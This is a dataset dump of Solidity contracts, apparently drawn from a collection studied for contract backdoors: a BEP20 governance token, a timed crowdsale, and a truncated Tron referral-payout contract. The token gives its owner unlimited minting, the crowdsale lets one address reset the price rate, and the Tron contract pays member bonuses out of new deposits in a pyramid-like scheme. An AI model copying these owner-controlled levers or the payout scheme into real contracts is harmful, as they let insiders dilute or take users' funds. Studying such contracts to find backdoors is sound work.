// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom (address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer (address sender, address recipient, uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve (address owner, address spender, uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// PiliToken with Governance.
contract PiliToken is BEP20('Pili Finance', 'PILI') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
function burn(uint256 amount) external {
_burn(_msgSender(),amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "PILI::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "PILI::delegateBySig: invalid nonce");
require(now <= expiry, "PILI::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "PILI::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying PILIs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "PILI::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 252,148 | 10,648 |
bf09a58b1acaf22d180cdc5096b659239557fa585fd0ddc084a3182e1ac75ff5
| 33,242 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x42a8c51f81dba88a8620f2b3f589faebac6a43db.sol
| 5,055 | 18,936 |
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(address(token) != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address private _tokenWallet;
constructor (address tokenWallet) public {
require(tokenWallet != address(0));
_tokenWallet = tokenWallet;
}
function tokenWallet() public view returns (address) {
return _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return Math.min(token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, address(this)));
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor (uint256 openingTime, uint256 closingTime) public {
// solhint-disable-next-line not-rely-on-time
require(openingTime >= block.timestamp);
require(closingTime > openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp > _closingTime;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
super._preValidatePurchase(beneficiary, weiAmount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract WhitelistAdminRole {
using Roles for Roles.Role;
event WhitelistAdminAdded(address indexed account);
event WhitelistAdminRemoved(address indexed account);
Roles.Role private _whitelistAdmins;
constructor () internal {
_addWhitelistAdmin(msg.sender);
}
modifier onlyWhitelistAdmin() {
require(isWhitelistAdmin(msg.sender));
_;
}
function isWhitelistAdmin(address account) public view returns (bool) {
return _whitelistAdmins.has(account);
}
function addWhitelistAdmin(address account) public onlyWhitelistAdmin {
_addWhitelistAdmin(account);
}
function renounceWhitelistAdmin() public {
_removeWhitelistAdmin(msg.sender);
}
function _addWhitelistAdmin(address account) internal {
_whitelistAdmins.add(account);
emit WhitelistAdminAdded(account);
}
function _removeWhitelistAdmin(address account) internal {
_whitelistAdmins.remove(account);
emit WhitelistAdminRemoved(account);
}
}
contract WhitelistedRole is WhitelistAdminRole {
using Roles for Roles.Role;
event WhitelistedAdded(address indexed account);
event WhitelistedRemoved(address indexed account);
Roles.Role private _whitelisteds;
modifier onlyWhitelisted() {
require(isWhitelisted(msg.sender));
_;
}
function isWhitelisted(address account) public view returns (bool) {
return _whitelisteds.has(account);
}
function addWhitelisted(address account) public onlyWhitelistAdmin {
_addWhitelisted(account);
}
function removeWhitelisted(address account) public onlyWhitelistAdmin {
_removeWhitelisted(account);
}
function renounceWhitelisted() public {
_removeWhitelisted(msg.sender);
}
function _addWhitelisted(address account) internal {
_whitelisteds.add(account);
emit WhitelistedAdded(account);
}
function _removeWhitelisted(address account) internal {
_whitelisteds.remove(account);
emit WhitelistedRemoved(account);
}
}
contract KicksCrowdsale is Crowdsale, TimedCrowdsale, AllowanceCrowdsale, WhitelistedRole {
using SafeMath for uint256;
uint256 private _rate;
uint256 private _kickCap = 33333333333333333333333333; // $50M
uint256 private _kickMinPay = 100 ether;
uint256 private _kickPurchased = 0;
uint256 private _bonus20capBoundary = 800000000000000000000000; // $1.2M
uint256 private _bonus10capBoundary = 1533333333333333333333333; // $2.3M
address private _manualSeller;
address private _rateSetter;
address private _whitelistAdmin;
bool private _KYC = false;
event Bonus(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event ChangeRate(uint256 rate);
constructor(uint256 rate, // eth to kick rate
ERC20 token, // the kick token address
address payable wallet, // accumulation eth address
address tokenWallet, // kick storage address
address manualSeller, // can sell tokens
address rateSetter, // can change eth rate
uint256 openingTime,
uint256 closingTime)
Crowdsale(rate, wallet, token)
AllowanceCrowdsale(tokenWallet)
TimedCrowdsale(openingTime, closingTime)
public
{
_rate = rate;
_manualSeller = manualSeller;
_rateSetter = rateSetter;
_whitelistAdmin = msg.sender;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
if (_KYC) {
require(isWhitelisted(beneficiary), 'Only whitelisted');
}
uint256 kickAmount = weiAmount.mul(_rate);
require(kickAmount >= _kickMinPay, 'Min purchase 100 kick');
require(_kickPurchased.add(kickAmount) <= _kickCap, 'Cap has been reached');
super._preValidatePurchase(beneficiary, weiAmount);
}
function calcBonus(uint256 tokenAmount) internal view returns (uint256) {
uint256 bonus = 0;
if (_kickPurchased.add(tokenAmount) <= _bonus20capBoundary) {
bonus = tokenAmount.mul(20).div(100);
} else if (_kickPurchased.add(tokenAmount) <= _bonus10capBoundary) {
bonus = tokenAmount.mul(10).div(100);
}
return bonus;
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
uint256 tokenAmount = weiAmount.mul(_rate);
return tokenAmount.add(calcBonus(tokenAmount));
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
uint256 tokenAmount = weiAmount.mul(_rate);
uint256 bonus = calcBonus(tokenAmount);
if (bonus != 0) {
emit Bonus(msg.sender, beneficiary, weiAmount, bonus);
tokenAmount = tokenAmount.add(bonus);
}
_kickPurchased = _kickPurchased.add(tokenAmount);
}
function manualSell(address beneficiary, uint256 weiAmount) public onlyWhileOpen {
require(msg.sender == _manualSeller);
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_postValidatePurchase(beneficiary, weiAmount);
}
function setRate(uint256 rate) public {
require(msg.sender == _rateSetter);
_rate = rate;
emit ChangeRate(rate);
}
function onKYC() public {
require(msg.sender == _whitelistAdmin);
require(!_KYC);
_KYC = true;
}
function offKYC() public {
require(msg.sender == _whitelistAdmin);
require(_KYC);
_KYC = false;
}
function rate() public view returns (uint256) {
return _rate;
}
function kickCap() public view returns (uint256) {
return _kickCap;
}
function kickMinPay() public view returns (uint256) {
return _kickMinPay;
}
function kickPurchased() public view returns (uint256) {
return _kickPurchased;
}
function bonus20capBoundary() public view returns (uint256) {
return _bonus20capBoundary;
}
function bonus10capBoundary() public view returns (uint256) {
return _bonus10capBoundary;
}
function KYC() public view returns (bool) {
return _KYC;
}
}
| 145,775 | 10,649 |
16183044419cccb8a474e350e0133c89dbd20efccbe0cbe526b8001c979b494f
| 21,262 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TPMU5uGozgWVio3yGHnve4Tv7WncbVxAm8_Finorex.sol
| 5,839 | 20,979 |
//SourceUnit: Finorex.sol
pragma solidity ^0.6.12;
// SPDX-License-Identifier: MIT
contract Finorex {
struct User {
uint id;
uint uplineid;
uint autopooluplineid;
address direct_upline;
address autopool_upline;
uint256 referrals;
uint256 poolreferrals;
uint256 payouts;
uint256 package;
uint256 packageamount;
uint256 max_payouts;
uint256 royalty_payouts;
uint40 activated_time;
address[] directReferrals;
address[] autopoolreferrals;
uint256[] numofpackage;
uint256[] packagewhenroyalty;
}
struct UserBonus {
uint256 level_bonus;
uint256 missed_leadership;
uint256 missed_level;
uint256 direct_bonus;
uint256 leadership_bonus;
uint256 team_performance_bonus;
}
address payable public owner;
uint public currId = 1;
mapping(address => User) public users;
mapping(address => UserBonus) public userbonuses;
mapping(uint => address) public usersList;
mapping(uint => uint256) public packages;
uint8[] public level_bonuses;
uint8[] public leadership_bonuses;
uint8 public royaltyshare = 6;
uint40 multiplier = 10;
address[] Goldusers;
address[] Bronzeusers;
address[] Silverusers;
address[] Platinumusers;
address[] Diamondusers;
uint256 public royaltycycle;
mapping (uint256 => uint256[4]) public royaltybonuses;
mapping (uint256 => uint256[4]) public royaltyuserslength;
mapping (uint256 => uint256) public royaltytime;
struct royaltyStruct {
uint256 amount;
uint256 userslength;
uint256 royaltycycletime;
}
uint256 silverDivident;
uint256 goldDivident;
uint256 platinumDivident;
uint256 diamondDivident;
uint40 public royalty_last_draw;
uint256 public royalty_balance;
event Buypackage(uint256 addrid,uint256 uplineid,address indexed addr, address indexed upline,uint256 amount,uint256 package);
event DirectPayout(uint256 addrid,uint256 fromid,address indexed addr, address indexed from, uint256 amount,uint256 package);
event LevelPayout(uint256 addrid,uint256 fromid,address indexed addr, address indexed from, uint256 amount,uint256 package,uint256 level);
event LeaderShipPayout(uint256 addrid,uint256 fromid,address indexed addr, address indexed from, uint256 amount,uint256 package,uint256 level);
event TeamPerformPayout(uint256 addrid,uint256 fromid,address indexed addr, address indexed from, uint256 amount);
event Withdraw(uint256 addrid,address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
level_bonuses.push(100);
level_bonuses.push(50);
level_bonuses.push(20);
level_bonuses.push(20);
level_bonuses.push(10);
level_bonuses.push(20);
level_bonuses.push(10);
level_bonuses.push(20);
level_bonuses.push(10);
level_bonuses.push(10);
level_bonuses.push(5);
level_bonuses.push(5);
level_bonuses.push(5);
level_bonuses.push(5);
level_bonuses.push(10);
leadership_bonuses.push(50);
leadership_bonuses.push(20);
leadership_bonuses.push(20);
leadership_bonuses.push(10);
leadership_bonuses.push(10);
leadership_bonuses.push(5);
leadership_bonuses.push(5);
leadership_bonuses.push(5);
leadership_bonuses.push(5);
leadership_bonuses.push(10);
packages[1] = 500 trx;
packages[2] = 1000 trx;
packages[3] = 2000 trx;
packages[4] = 5000 trx;
packages[5] = 10000 trx;
usersList[currId] = owner;
users[owner].id = currId;
currId++;
royalty_last_draw = uint40(block.timestamp);
Diamondusers.push(owner);
users[owner].packagewhenroyalty.push(royaltycycle);
users[owner].numofpackage.push(5);
users[owner].package = 5;
users[owner].packageamount = 10000 trx;
users[owner].activated_time = uint40(block.timestamp);
}
function Register(uint40 packageno,address upline) public payable {
require(upline != address(0),"Invalid upline");
require(users[upline].package > 0,"Upline not yet activated");
require(packages[packageno] == msg.value,"Bad amount");
require(msg.value >= packages[1],"Bad amount");
require(packageno > users[msg.sender].package,"You only allowed to upgrade your package only");
if(packageno == 1){
Bronzeusers.push(msg.sender);
}else if(packageno == 2){
Silverusers.push(msg.sender);
}else if(packageno == 3){
Goldusers.push(msg.sender);
}else if(packageno == 4){
Platinumusers.push(msg.sender);
}else if(packageno == 5){
Diamondusers.push(msg.sender);
}
if(users[msg.sender].package == 0){
users[msg.sender].id = currId;
users[msg.sender].direct_upline = upline;
users[msg.sender].uplineid = users[upline].id;
users[msg.sender].package = packageno;
users[msg.sender].packageamount = msg.value;
users[msg.sender].activated_time = uint40(block.timestamp);
users[msg.sender].max_payouts = 0;
usersList[currId] = msg.sender;
users[upline].referrals++;
users[upline].directReferrals.push(msg.sender);
address poolUpline = findFreep1Referrer(upline);
users[poolUpline].poolreferrals++;
users[poolUpline].autopoolreferrals.push(msg.sender);
users[msg.sender].autopool_upline = poolUpline;
users[msg.sender].autopooluplineid = users[poolUpline].id;
emit Buypackage(currId,users[upline].id,msg.sender,upline,msg.value,packageno);
currId++;
}else{
upline = users[msg.sender].direct_upline;
users[msg.sender].package = packageno;
users[msg.sender].packageamount = msg.value;
users[msg.sender].activated_time = uint40(block.timestamp);
users[msg.sender].max_payouts = 0;
emit Buypackage(users[msg.sender].id,users[upline].id,msg.sender,upline,msg.value,packageno);
}
users[msg.sender].packagewhenroyalty.push(royaltycycle);
users[msg.sender].numofpackage.push(packageno);
userbonuses[users[msg.sender].direct_upline].direct_bonus += msg.value * 35 / 100;
emit DirectPayout(users[users[msg.sender].direct_upline].id,users[msg.sender].id,users[msg.sender].direct_upline,msg.sender, msg.value * 35 / 100,packageno);
leadershipPayout(msg.sender);
levelPayout(msg.sender);
royalty_balance += msg.value * 6 / 100;
if(uint40(block.timestamp) >= royalty_last_draw + 1 days){
silverDivident = royalty_balance * 20 / 100;
goldDivident = royalty_balance * 20 / 100;
diamondDivident = royalty_balance * 30 / 100;
platinumDivident = royalty_balance * 30 / 100;
royalty_balance = 0;
royaltybonuses[royaltycycle][0] = silverDivident;
royaltyuserslength[royaltycycle][0] = Silverusers.length;
royaltytime[royaltycycle] = block.timestamp;
royaltybonuses[royaltycycle][1] = goldDivident;
royaltyuserslength[royaltycycle][1] = Goldusers.length;
royaltytime[royaltycycle] = block.timestamp;
royaltybonuses[royaltycycle][2] = platinumDivident;
royaltyuserslength[royaltycycle][2] = Platinumusers.length;
royaltytime[royaltycycle] = block.timestamp;
royaltybonuses[royaltycycle][3] = diamondDivident;
royaltyuserslength[royaltycycle][3] = Diamondusers.length;
royaltytime[royaltycycle] = block.timestamp;
royaltycycle += 1;
royalty_last_draw = uint40(block.timestamp);
}
